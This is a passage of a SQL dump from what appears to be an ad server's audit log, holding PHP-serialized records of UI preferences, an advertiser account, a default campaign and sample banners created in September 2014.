07:27:13',1,NULL,NULL),(134,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:64;s:5:\"value\";i:5;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #64\";}',0,'Installer',0,'2014-09-17 07:27:13',1,NULL,NULL),(135,1,'preferences',65,NULL,'a:4:{s:13:\"preference_id\";i:65;s:15:\"preference_name\";s:14:\"ui_column_ecpc\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:14:\"ui_column_ecpc\";}',0,'Installer',0,'2014-09-17 07:27:13',1,NULL,NULL),(136,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:65;s:5:\"value\";b:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #65\";}',0,'Installer',0,'2014-09-17 07:27:13',1,NULL,NULL),(137,1,'preferences',66,NULL,'a:4:{s:13:\"preference_id\";i:66;s:15:\"preference_name\";s:20:\"ui_column_ecpc_label\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:20:\"ui_column_ecpc_label\";}',0,'Installer',0,'2014-09-17 07:27:13',1,NULL,NULL),(138,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:66;s:5:\"value\";s:0:\"\";s:8:\"key_desc\";s:28:\"Account #1 -> Preference #66\";}',0,'Installer',0,'2014-09-17 07:27:13',1,NULL,NULL),(139,1,'preferences',67,NULL,'a:4:{s:13:\"preference_id\";i:67;s:15:\"preference_name\";s:19:\"ui_column_ecpc_rank\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:19:\"ui_column_ecpc_rank\";}',0,'Installer',0,'2014-09-17 07:27:13',1,NULL,NULL),(140,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:67;s:5:\"value\";i:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #67\";}',0,'Installer',0,'2014-09-17 07:27:13',1,NULL,NULL),(141,1,'preferences',68,NULL,'a:4:{s:13:\"preference_id\";i:68;s:15:\"preference_name\";s:14:\"ui_column_ecps\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:14:\"ui_column_ecps\";}',0,'Installer',0,'2014-09-17 07:27:13',1,NULL,NULL),(142,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:68;s:5:\"value\";b:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #68\";}',0,'Installer',0,'2014-09-17 07:27:13',1,NULL,NULL),(143,1,'preferences',69,NULL,'a:4:{s:13:\"preference_id\";i:69;s:15:\"preference_name\";s:20:\"ui_column_ecps_label\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:20:\"ui_column_ecps_label\";}',0,'Installer',0,'2014-09-17 07:27:13',1,NULL,NULL),(144,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:69;s:5:\"value\";s:0:\"\";s:8:\"key_desc\";s:28:\"Account #1 -> Preference #69\";}',0,'Installer',0,'2014-09-17 07:27:13',1,NULL,NULL),(145,1,'preferences',70,NULL,'a:4:{s:13:\"preference_id\";i:70;s:15:\"preference_name\";s:19:\"ui_column_ecps_rank\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:19:\"ui_column_ecps_rank\";}',0,'Installer',0,'2014-09-17 07:27:13',1,NULL,NULL),(146,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:70;s:5:\"value\";i:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #70\";}',0,'Installer',0,'2014-09-17 07:27:13',1,NULL,NULL),(147,1,'preferences',71,NULL,'a:4:{s:13:\"preference_id\";i:71;s:15:\"preference_name\";s:12:\"ui_column_id\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:12:\"ui_column_id\";}',0,'Installer',0,'2014-09-17 07:27:13',1,NULL,NULL),(148,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:71;s:5:\"value\";b:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #71\";}',0,'Installer',0,'2014-09-17 07:27:14',1,NULL,NULL),(149,1,'preferences',72,NULL,'a:4:{s:13:\"preference_id\";i:72;s:15:\"preference_name\";s:18:\"ui_column_id_label\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:18:\"ui_column_id_label\";}',0,'Installer',0,'2014-09-17 07:27:14',1,NULL,NULL),(150,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:72;s:5:\"value\";s:0:\"\";s:8:\"key_desc\";s:28:\"Account #1 -> Preference #72\";}',0,'Installer',0,'2014-09-17 07:27:14',1,NULL,NULL),(151,1,'preferences',73,NULL,'a:4:{s:13:\"preference_id\";i:73;s:15:\"preference_name\";s:17:\"ui_column_id_rank\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:17:\"ui_column_id_rank\";}',0,'Installer',0,'2014-09-17 07:27:14',1,NULL,NULL),(152,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:73;s:5:\"value\";i:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #73\";}',0,'Installer',0,'2014-09-17 07:27:14',1,NULL,NULL),(153,1,'preferences',74,NULL,'a:4:{s:13:\"preference_id\";i:74;s:15:\"preference_name\";s:18:\"ui_column_requests\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:18:\"ui_column_requests\";}',0,'Installer',0,'2014-09-17 07:27:14',1,NULL,NULL),(154,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:74;s:5:\"value\";b:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #74\";}',0,'Installer',0,'2014-09-17 07:27:14',1,NULL,NULL),(155,1,'preferences',75,NULL,'a:4:{s:13:\"preference_id\";i:75;s:15:\"preference_name\";s:24:\"ui_column_requests_label\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:24:\"ui_column_requests_label\";}',0,'Installer',0,'2014-09-17 07:27:14',1,NULL,NULL),(156,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:75;s:5:\"value\";s:0:\"\";s:8:\"key_desc\";s:28:\"Account #1 -> Preference #75\";}',0,'Installer',0,'2014-09-17 07:27:14',1,NULL,NULL),(157,1,'preferences',76,NULL,'a:4:{s:13:\"preference_id\";i:76;s:15:\"preference_name\";s:23:\"ui_column_requests_rank\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:23:\"ui_column_requests_rank\";}',0,'Installer',0,'2014-09-17 07:27:14',1,NULL,NULL),(158,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:76;s:5:\"value\";i:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #76\";}',0,'Installer',0,'2014-09-17 07:27:14',1,NULL,NULL),(159,1,'preferences',77,NULL,'a:4:{s:13:\"preference_id\";i:77;s:15:\"preference_name\";s:21:\"ui_column_impressions\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:21:\"ui_column_impressions\";}',0,'Installer',0,'2014-09-17 07:27:14',1,NULL,NULL),(160,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:77;s:5:\"value\";b:1;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #77\";}',0,'Installer',0,'2014-09-17 07:27:14',1,NULL,NULL),(161,1,'preferences',78,NULL,'a:4:{s:13:\"preference_id\";i:78;s:15:\"preference_name\";s:27:\"ui_column_impressions_label\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:27:\"ui_column_impressions_label\";}',0,'Installer',0,'2014-09-17 07:27:14',1,NULL,NULL),(162,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:78;s:5:\"value\";s:0:\"\";s:8:\"key_desc\";s:28:\"Account #1 -> Preference #78\";}',0,'Installer',0,'2014-09-17 07:27:14',1,NULL,NULL),(163,1,'preferences',79,NULL,'a:4:{s:13:\"preference_id\";i:79;s:15:\"preference_name\";s:26:\"ui_column_impressions_rank\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:26:\"ui_column_impressions_rank\";}',0,'Installer',0,'2014-09-17 07:27:15',1,NULL,NULL),(164,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:79;s:5:\"value\";i:1;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #79\";}',0,'Installer',0,'2014-09-17 07:27:15',1,NULL,NULL),(165,1,'preferences',80,NULL,'a:4:{s:13:\"preference_id\";i:80;s:15:\"preference_name\";s:16:\"ui_column_clicks\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:16:\"ui_column_clicks\";}',0,'Installer',0,'2014-09-17 07:27:15',1,NULL,NULL),(166,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:80;s:5:\"value\";b:1;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #80\";}',0,'Installer',0,'2014-09-17 07:27:15',1,NULL,NULL),(167,1,'preferences',81,NULL,'a:4:{s:13:\"preference_id\";i:81;s:15:\"preference_name\";s:22:\"ui_column_clicks_label\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:22:\"ui_column_clicks_label\";}',0,'Installer',0,'2014-09-17 07:27:15',1,NULL,NULL),(168,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:81;s:5:\"value\";s:0:\"\";s:8:\"key_desc\";s:28:\"Account #1 -> Preference #81\";}',0,'Installer',0,'2014-09-17 07:27:15',1,NULL,NULL),(169,1,'preferences',82,NULL,'a:4:{s:13:\"preference_id\";i:82;s:15:\"preference_name\";s:21:\"ui_column_clicks_rank\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:21:\"ui_column_clicks_rank\";}',0,'Installer',0,'2014-09-17 07:27:15',1,NULL,NULL),(170,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:82;s:5:\"value\";i:2;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #82\";}',0,'Installer',0,'2014-09-17 07:27:15',1,NULL,NULL),(171,1,'preferences',83,NULL,'a:4:{s:13:\"preference_id\";i:83;s:15:\"preference_name\";s:13:\"ui_column_ctr\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:13:\"ui_column_ctr\";}',0,'Installer',0,'2014-09-17 07:27:15',1,NULL,NULL),(172,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:83;s:5:\"value\";b:1;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #83\";}',0,'Installer',0,'2014-09-17 07:27:15',1,NULL,NULL),(173,1,'preferences',84,NULL,'a:4:{s:13:\"preference_id\";i:84;s:15:\"preference_name\";s:19:\"ui_column_ctr_label\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:19:\"ui_column_ctr_label\";}',0,'Installer',0,'2014-09-17 07:27:15',1,NULL,NULL),(174,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:84;s:5:\"value\";s:0:\"\";s:8:\"key_desc\";s:28:\"Account #1 -> Preference #84\";}',0,'Installer',0,'2014-09-17 07:27:15',1,NULL,NULL),(175,1,'preferences',85,NULL,'a:4:{s:13:\"preference_id\";i:85;s:15:\"preference_name\";s:18:\"ui_column_ctr_rank\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:18:\"ui_column_ctr_rank\";}',0,'Installer',0,'2014-09-17 07:27:15',1,NULL,NULL),(176,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:85;s:5:\"value\";i:3;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #85\";}',0,'Installer',0,'2014-09-17 07:27:15',1,NULL,NULL),(177,1,'preferences',86,NULL,'a:4:{s:13:\"preference_id\";i:86;s:15:\"preference_name\";s:21:\"ui_column_conversions\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:21:\"ui_column_conversions\";}',0,'Installer',0,'2014-09-17 07:27:15',1,NULL,NULL),(178,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:86;s:5:\"value\";b:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #86\";}',0,'Installer',0,'2014-09-17 07:27:15',1,NULL,NULL),(179,1,'preferences',87,NULL,'a:4:{s:13:\"preference_id\";i:87;s:15:\"preference_name\";s:27:\"ui_column_conversions_label\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:27:\"ui_column_conversions_label\";}',0,'Installer',0,'2014-09-17 07:27:15',1,NULL,NULL),(180,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:87;s:5:\"value\";s:0:\"\";s:8:\"key_desc\";s:28:\"Account #1 -> Preference #87\";}',0,'Installer',0,'2014-09-17 07:27:15',1,NULL,NULL),(181,1,'preferences',88,NULL,'a:4:{s:13:\"preference_id\";i:88;s:15:\"preference_name\";s:26:\"ui_column_conversions_rank\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:26:\"ui_column_conversions_rank\";}',0,'Installer',0,'2014-09-17 07:27:15',1,NULL,NULL),(182,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:88;s:5:\"value\";i:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #88\";}',0,'Installer',0,'2014-09-17 07:27:15',1,NULL,NULL),(183,1,'preferences',89,NULL,'a:4:{s:13:\"preference_id\";i:89;s:15:\"preference_name\";s:29:\"ui_column_conversions_pending\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:29:\"ui_column_conversions_pending\";}',0,'Installer',0,'2014-09-17 07:27:15',1,NULL,NULL),(184,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:89;s:5:\"value\";b:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #89\";}',0,'Installer',0,'2014-09-17 07:27:15',1,NULL,NULL),(185,1,'preferences',90,NULL,'a:4:{s:13:\"preference_id\";i:90;s:15:\"preference_name\";s:35:\"ui_column_conversions_pending_label\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:35:\"ui_column_conversions_pending_label\";}',0,'Installer',0,'2014-09-17 07:27:16',1,NULL,NULL),(186,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:90;s:5:\"value\";s:0:\"\";s:8:\"key_desc\";s:28:\"Account #1 -> Preference #90\";}',0,'Installer',0,'2014-09-17 07:27:16',1,NULL,NULL),(187,1,'preferences',91,NULL,'a:4:{s:13:\"preference_id\";i:91;s:15:\"preference_name\";s:34:\"ui_column_conversions_pending_rank\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:34:\"ui_column_conversions_pending_rank\";}',0,'Installer',0,'2014-09-17 07:27:16',1,NULL,NULL),(188,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:91;s:5:\"value\";i:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #91\";}',0,'Installer',0,'2014-09-17 07:27:16',1,NULL,NULL),(189,1,'preferences',92,NULL,'a:4:{s:13:\"preference_id\";i:92;s:15:\"preference_name\";s:18:\"ui_column_sr_views\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:18:\"ui_column_sr_views\";}',0,'Installer',0,'2014-09-17 07:27:16',1,NULL,NULL),(190,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:92;s:5:\"value\";b:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #92\";}',0,'Installer',0,'2014-09-17 07:27:16',1,NULL,NULL),(191,1,'preferences',93,NULL,'a:4:{s:13:\"preference_id\";i:93;s:15:\"preference_name\";s:24:\"ui_column_sr_views_label\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:24:\"ui_column_sr_views_label\";}',0,'Installer',0,'2014-09-17 07:27:16',1,NULL,NULL),(192,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:93;s:5:\"value\";s:0:\"\";s:8:\"key_desc\";s:28:\"Account #1 -> Preference #93\";}',0,'Installer',0,'2014-09-17 07:27:16',1,NULL,NULL),(193,1,'preferences',94,NULL,'a:4:{s:13:\"preference_id\";i:94;s:15:\"preference_name\";s:23:\"ui_column_sr_views_rank\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:23:\"ui_column_sr_views_rank\";}',0,'Installer',0,'2014-09-17 07:27:16',1,NULL,NULL),(194,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:94;s:5:\"value\";i:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #94\";}',0,'Installer',0,'2014-09-17 07:27:16',1,NULL,NULL),(195,1,'preferences',95,NULL,'a:4:{s:13:\"preference_id\";i:95;s:15:\"preference_name\";s:19:\"ui_column_sr_clicks\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:19:\"ui_column_sr_clicks\";}',0,'Installer',0,'2014-09-17 07:27:16',1,NULL,NULL),(196,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:95;s:5:\"value\";b:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #95\";}',0,'Installer',0,'2014-09-17 07:27:16',1,NULL,NULL),(197,1,'preferences',96,NULL,'a:4:{s:13:\"preference_id\";i:96;s:15:\"preference_name\";s:25:\"ui_column_sr_clicks_label\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:25:\"ui_column_sr_clicks_label\";}',0,'Installer',0,'2014-09-17 07:27:16',1,NULL,NULL),(198,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:96;s:5:\"value\";s:0:\"\";s:8:\"key_desc\";s:28:\"Account #1 -> Preference #96\";}',0,'Installer',0,'2014-09-17 07:27:16',1,NULL,NULL),(199,1,'preferences',97,NULL,'a:4:{s:13:\"preference_id\";i:97;s:15:\"preference_name\";s:24:\"ui_column_sr_clicks_rank\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:24:\"ui_column_sr_clicks_rank\";}',0,'Installer',0,'2014-09-17 07:27:16',1,NULL,NULL),(200,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:97;s:5:\"value\";i:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #97\";}',0,'Installer',0,'2014-09-17 07:27:16',1,NULL,NULL),(201,2,'account_preference_assoc',0,NULL,'a:2:{s:5:\"value\";a:2:{s:3:\"was\";s:0:\"\";s:2:\"is\";s:16:\"America/New_York\";}s:8:\"key_desc\";s:28:\"Account #1 -> Preference #16\";}',0,'Installer',0,'2014-09-17 07:27:16',1,NULL,NULL),(202,1,'accounts',3,NULL,'a:4:{s:10:\"account_id\";i:3;s:12:\"account_type\";s:10:\"ADVERTISER\";s:12:\"account_name\";s:11:\"Webtracking\";s:8:\"key_desc\";s:11:\"Webtracking\";}',1,'admin',0,'2014-09-17 08:17:24',1,3,NULL),(203,1,'clients',1,NULL,'a:17:{s:8:\"clientid\";i:1;s:8:\"agencyid\";i:1;s:10:\"clientname\";s:11:\"Webtracking\";s:7:\"contact\";s:7:\"wtadmim\";s:5:\"email\";s:17:\"wtadmin@wtlab.com\";s:6:\"report\";s:1:\"f\";s:14:\"reportinterval\";i:7;s:14:\"reportlastdate\";s:10:\"2014-09-17\";s:16:\"reportdeactivate\";s:1:\"f\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:17:24\";s:15:\"an_adnetwork_id\";i:0;s:16:\"as_advertiser_id\";i:0;s:10:\"account_id\";i:3;s:21:\"advertiser_limitation\";s:5:\"false\";s:4:\"type\";i:0;s:8:\"key_desc\";s:11:\"Webtracking\";}',1,'admin',0,'2014-09-17 08:17:24',2,3,NULL),(204,1,'campaigns',1,NULL,'a:37:{s:10:\"campaignid\";i:1;s:12:\"campaignname\";s:30:\"Webtracking - Default Campaign\";s:8:\"clientid\";i:1;s:5:\"views\";i:-1;s:6:\"clicks\";i:-1;s:11:\"conversions\";i:-1;s:8:\"priority\";i:-1;s:6:\"weight\";i:1;s:17:\"target_impression\";i:0;s:12:\"target_click\";i:0;s:17:\"target_conversion\";i:0;s:9:\"anonymous\";s:1:\"f\";s:9:\"companion\";i:0;s:21:\"show_capped_no_cookie\";i:0;s:8:\"comments\";s:0:\"\";s:7:\"revenue\";i:0;s:12:\"revenue_type\";i:1;s:7:\"updated\";s:19:\"2014-09-17 08:17:35\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:14:\"an_campaign_id\";i:0;s:14:\"as_campaign_id\";i:0;s:6:\"status\";i:0;s:9:\"an_status\";i:0;s:16:\"as_reject_reason\";i:0;s:12:\"hosted_views\";i:0;s:13:\"hosted_clicks\";i:0;s:10:\"viewwindow\";i:0;s:11:\"clickwindow\";i:0;s:4:\"ecpm\";i:0;s:15:\"min_impressions\";i:100;s:12:\"ecpm_enabled\";i:0;s:13:\"activate_time\";s:19:\"2014-09-17 04:00:00\";s:11:\"expire_time\";s:4:\"NULL\";s:4:\"type\";i:0;s:8:\"key_desc\";s:30:\"Webtracking - Default Campaign\";}',1,'admin',0,'2014-09-17 08:17:35',2,3,NULL),(205,1,'banners',1,NULL,'a:44:{s:8:\"bannerid\";i:1;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:4:\"jpeg\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"2256ef0a5e9d26cec4aea2bbbdf87511.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:1920;s:6:\"height\";i:1080;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:7:\"sample1\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:20:29\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:7:\"sample1\";}',1,'admin',0,'2014-09-17 08:20:29',2,3,NULL),(206,1,'ad_zone_assoc',1,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:1;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:1;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:16:\"Ad #1 -> Zone #0\";}',1,'admin',0,'2014-09-17 08:20:29',2,3,NULL),(207,1,'banners',2,NULL,'a:44:{s:8:\"bannerid\";i:2;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:4:\"jpeg\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"2256ef0a5e9d26cec4aea2bbbdf87511.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:1920;s:6:\"height\";i:1080;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:7:\"sample2\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:20:48\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:7:\"sample2\";}',1,'admin',0,'2014-09-17 08:20:48',2,3,NULL),(208,1,'ad_zone_assoc',2,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:2;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:2;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:16:\"Ad #2 -> Zone #0\";}',1,'admin',0,'2014-09-17 08:20:48',2,3,NULL),(209,1,'banners',3,NULL,'a:44:{s:8:\"bannerid\";i:3;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:4:\"jpeg\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"2256ef0a5e9d26cec4aea2bbbdf87511.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:1920;s:6:\"height\";i:1080;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:7:\"sample3\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:21:04\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:7:\"sample3\";}',1,'admin',0,'2014-09-17 08:21:04',2,3,NULL),(210,1,'ad_zone_assoc',3,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:3;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:3;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:16:\"Ad #3 -> Zone #0\";}',1,'admin',0,'2014-09-17 